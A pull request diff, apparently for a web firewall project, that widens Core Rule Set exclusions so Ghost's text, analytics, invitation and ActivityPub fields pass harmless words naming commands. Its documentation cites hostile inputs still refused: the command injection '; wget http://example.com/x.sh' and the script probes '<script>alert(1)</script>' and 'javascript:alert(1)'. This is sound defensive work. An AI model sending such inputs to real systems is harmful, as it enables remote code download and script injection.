Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359) #369

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+3 -3
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@@ -609,9 +609,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents;
- `ghost`, whose fixes let through its filters, its searches, its names, its
email addresses, its code injection, its settings and a post saved from
its editor, HTML included.
- `ghost`, whose fixes let through the text its admin and members type, its
analytics, its code injection, ActivityPub and a post saved from its
editor, HTML included.
- A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
+79 -18
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@@ -1747,31 +1747,83 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
and the request it refused. Ghost's admin and integrations call the Admin API
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
`/ghost/api/content/`, and members call `/members/api/`.
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
Three query fields skip some rules:
Eight rules refused words that name commands and files, such as `python3`,
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
API and the Content API, so `tag:powershell` passes;
These query fields skip some rules:
- `filter`, a query in Ghost's own filter language, skips those eight rules
except 930120, on the Admin API and the Content API;
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
the Admin API;
- `url`, the address the editor looks up for an embed or a bookmark, skips
930120 and 932120.
930120 and 932120;
- `source` and the `utm_` fields, which filter the analytics, skip those eight
rules under `/ghost/api/admin/stats/`;
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
there;
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
on the Admin API's posts;
- `query`, a search for an account in ActivityPub, skips those eight rules;
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
The fields of JSON bodies where a person types plain text skip 930120, 932120,
932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
pages, tags, labels, members, newsletters and snippets, on the Admin API:
The fields of JSON bodies where a person types plain text skip those eight
rules. They are these fields of posts, pages, tags, labels, members, newsletters
and snippets, on the Admin API:
- `title`, `name` and `slug`;
- a post's `tags` and a member's `labels`, by name or slug;
- `custom_excerpt`, `description`, `note` and `sender_name`;
- the `meta_`, `og_` and `twitter_` titles and descriptions.
A member's `name` at `/members/api/` skips them too. A member's `email` skips
930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
member. A staff user's address skips them too: `username` when signing in, and
`email` when creating the first staff user, asking for a password reset or
saving a profile.
These fields on the Admin API skip them too:
- a staff user's `name`, `slug`, `bio`, `location` and `website`;
- `blogTitle` and `name` when creating the first staff user;
- `name` when accepting an invitation;
- `name`, `description` and `benefits` of tiers;
- `name`, `code`, `display_title` and `display_description` of offers;
- `title`, `description` and `excerpt` of recommendations;
- `name` and `description` of integrations, and `name` of webhooks;
- `feature_image_alt` and `feature_image_caption` of posts and pages.
These fields skip them on their own paths:
- a member's `name` at `/members/api/`;
- `html` of a member's comment at `/members/api/comments/`;
- `labels`, when the admin imports members from a CSV file;
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
description of its image;
- `name`, `username` and `bio` of the account in ActivityPub.
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
the admin adds or edits a member. A staff user's address skips them too. It is
sent as `username` when signing in, and as `email` in these requests:
- creating the first staff user;
- asking for a password reset;
- saving a profile;
- inviting a staff user;
- accepting an invitation.
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
its rules only on its own path:
- `sourceHandle`, an account that moves here, when it is added at
`/.ghost/activitypub/v1/aliases`;
- `actorUri`, that account's address, when the admin removes it there;
- `targetHandle`, the account this one moves to, at
`/.ghost/activitypub/v1/migration`;
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
`/.ghost/activitypub/v1/domain/validate`.
A tag's `canonical_url` skips 930120 and 932120 under `/ghost/api/admin/tags/`,
as `url` does.
The articles carry HTML on purpose. These fields on the Admin API hold them:
@@ -1791,12 +1843,14 @@ The articles skip these rules:
Code injection is the HTML that Ghost adds to the head and the foot of a page.
These fields on the Admin API hold it:
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `value` of settings, since the site's settings hold its code injection.
Code injection skips these rules:
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
refused words that name commands and files, such as the site's title
`powershell & python3`;
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
elements.
@@ -1805,15 +1859,22 @@ card can embed a widget and code injection can load analytics. These are the
fields, on the Admin API:
- `lexical`, `mobiledoc` and `html` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `value` of settings.
`<script>alert(1)</script>` is still refused in snippets and newsletters.
`javascript:alert(1)` is still refused in the articles and code injection
(941170 and 941210). Path traversal and SQL injection are still refused in every
field above. Script injection is too, outside the articles and code injection.
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
text and the addresses.
`; wget http://example.com/x.sh` is still refused in these fields:
- the addresses, the handles and the domain;
- a tag's `canonical_url`;
- `search`, `url`, `pathname`, `email_segment` and `email`.
The other fields above skip 932235, which refuses that command but also refuses
`powershell & python3`.
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
That name holds `.profile`, a file on the list of system files, so the name
+249 -7
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@@ -7,7 +7,8 @@
#
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
# and members call /members/api/. Coraza names a field of a JSON body by its
# and members call /members/api/. The admin calls ActivityPub, a service of its
# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
# path, so the title of the first post saved is json.posts.0.title.
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
@@ -17,11 +18,22 @@
SecRule &TX:app_ghost "@eq 0" \
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
# filter, a query in Ghost's own filter language, skips seven rules on the
# Admin API and the Content API:
# 932120: filter=tag:powershell, filter=name:~'powershell'
# 932125, 932230, 932250: filter=title:~'powershell & ls -la'
# 932235, 932260: filter=title:~'powershell & python3', which the admin's
# post picker sends when a person types that title
# 932380: filter=title:~'python3 & powershell'
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
"id:900350,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:filter"
ctl:ruleRemoveTargetById=932120;ARGS:filter,\
ctl:ruleRemoveTargetById=932125;ARGS:filter,\
ctl:ruleRemoveTargetById=932230;ARGS:filter,\
ctl:ruleRemoveTargetById=932235;ARGS:filter,\
ctl:ruleRemoveTargetById=932250;ARGS:filter,\
ctl:ruleRemoveTargetById=932260;ARGS:filter,\
ctl:ruleRemoveTargetById=932380;ARGS:filter"
# search, the search for a member by name or address, skips four rules on the
# Admin API:
@@ -45,10 +57,61 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The fields a person types plain text into skip seven rules on the Admin API:
# The query fields that filter the analytics skip the eight rules that 900353
# lists, on /ghost/api/admin/stats/:
# 932120: source=powershell.example.com
# 932235, 932260: utm_campaign=powershell & python3
# 932250: utm_term=ls -la
# These fields filter the figures by the site a visit came from, or a
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
# utm_term.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900367,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
# pathname, the page the analytics show, skips three rules on
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
# 930120: pathname=/tag/proc/
# 932120: pathname=/python3-and-powershell/
# 932260: pathname=/tag/python3/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900385,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
# email_segment, the members a post is sent to as a newsletter, skips 932120
# on the Admin API's posts: email_segment=label:powershell-users.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
"id:900368,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
# query, a search for an account in ActivityPub, skips the eight rules that
# 900353 lists: query=python3, query=@powershell@example.com.
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
"id:900369,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
ctl:ruleRemoveTargetById=932120;ARGS:query,\
ctl:ruleRemoveTargetById=932125;ARGS:query,\
ctl:ruleRemoveTargetById=932230;ARGS:query,\
ctl:ruleRemoveTargetById=932235;ARGS:query,\
ctl:ruleRemoveTargetById=932250;ARGS:query,\
ctl:ruleRemoveTargetById=932260;ARGS:query,\
ctl:ruleRemoveTargetById=932380;ARGS:query"
# The fields a person types plain text into skip eight rules on the Admin API,
# which refused words that name commands and files:
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
# 932120: the page's slug about-python3-powershell-htaccess
# 932125, 932230, 932250: the tag "Linux & ls -la"
# 932235: the title "powershell & python3"
# 932260: the tag python3
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
# These fields hold plain text:
@@ -64,11 +127,12 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
# name, the name a member saves at /members/api/, skips the same seven rules.
# name, the name a member saves at /members/api/, skips the same eight rules.
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
"id:900359,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
@@ -76,10 +140,99 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
# More fields of plain text skip the same eight rules on the Admin API, which
# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
# "powershell & python3 deal" in them:
# users.<n>.name, slug, bio, location and website, a staff user's profile
# setup.<n>.blogTitle and name, creating the first staff user
# invitation.<n>.name, accepting a staff invitation
# tiers.<n>.name, description and benefits
# offers.<n>.name, code, display_title and display_description
# recommendations.<n>.title, description and excerpt
# integrations.<n>.name and description, and webhooks.<n>.name
# posts.<n>.feature_image_alt and feature_image_caption, and the same fields
# of pages
# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900370,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
# A member's comment, html at /members/api/comments/, skips the same eight
# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
# rules for scripts and HTML still refuse a <script> element, an event handler
# and a javascript: link in it.
SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
"id:900371,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
# labels, which the admin gives the members imported from a CSV file at
# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
# "python3 import" and "powershell & .htaccess".
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
"id:900372,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:labels "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:labels,\
ctl:ruleRemoveTargetById=932120;ARGS:labels,\
ctl:ruleRemoveTargetById=932125;ARGS:labels,\
ctl:ruleRemoveTargetById=932230;ARGS:labels,\
ctl:ruleRemoveTargetById=932235;ARGS:labels,\
ctl:ruleRemoveTargetById=932250;ARGS:labels,\
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
ctl:ruleRemoveTargetById=932380;ARGS:labels"
# In ActivityPub, a note's or a reply's text and the description of its image,
# and an account's name, username and bio, skip the same eight rules. They
# refused "Trying python3 & powershell", the image's description "A terminal
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
# tips". Each field skips them on its own path:
# content and image.altText, posting a note at
# /.ghost/activitypub/v1/actions/note or a reply under
# /.ghost/activitypub/v1/actions/reply/
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
"id:900373,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
"id:900374,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
# A member's email address skips 930120, 932120 and 932260, which refused
# erin.htaccess@example.com, dave.powershell@example.com and
# python3.dev@example.com. These fields hold it:
@@ -132,6 +285,63 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
# The address of a staff invitation skips the same three rules. Each of these
# fields skips them only on its own path:
# invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
# email in the query, checking an invitation at
# /ghost/api/admin/authentication/invitation/
# invitation.<n>.email, accepting it at the same path
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
"id:900375,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
"id:900376,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:email,\
ctl:ruleRemoveTargetById=932120;ARGS:email,\
ctl:ruleRemoveTargetById=932260;ARGS:email"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
"id:900377,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
# They refused the handles @erin.htaccess@example.com and
# @powershell@example.com, and the addresses
# https://example.com/users/erin.htaccess and
# https://example.com/users/powershell. A handle starts with an @, so 932260
# does not refuse @python3.dev@example.com. The domain of the site's handle
# skips the same three rules as an email address, which refused
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
# Each of these fields skips them only on its own path:
# sourceHandle, an account that moves here, added at
# /.ghost/activitypub/v1/aliases
# actorUri, that account's address, when the admin removes it there
# targetHandle, the account this one moves to, at
# /.ghost/activitypub/v1/migration
# domain, saved at /.ghost/activitypub/v1/domain and checked at
# /.ghost/activitypub/v1/domain/validate
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
"id:900379,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
"id:900380,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
"id:900381,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
# The articles skip these rules on the Admin API:
# 930120: ls -la /var/www/html/.htaccess in a code block
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
@@ -178,9 +388,10 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
# the site's settings, which hold the site-wide code injection besides the
# title and the description, skip the rules of plain text above and these:
# title and the description, skip the eight rules that 900353 lists and these:
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
# 941270: <link rel="preconnect" href="https://fonts.example.com">
# 932235, one of the eight, refused the site's title "powershell & python3".
# These fields hold it, and skip the rules anywhere on the Admin API:
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
@@ -194,6 +405,7 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
@@ -223,6 +435,36 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
# the code injection of posts. A javascript: link is still refused in it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900378,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
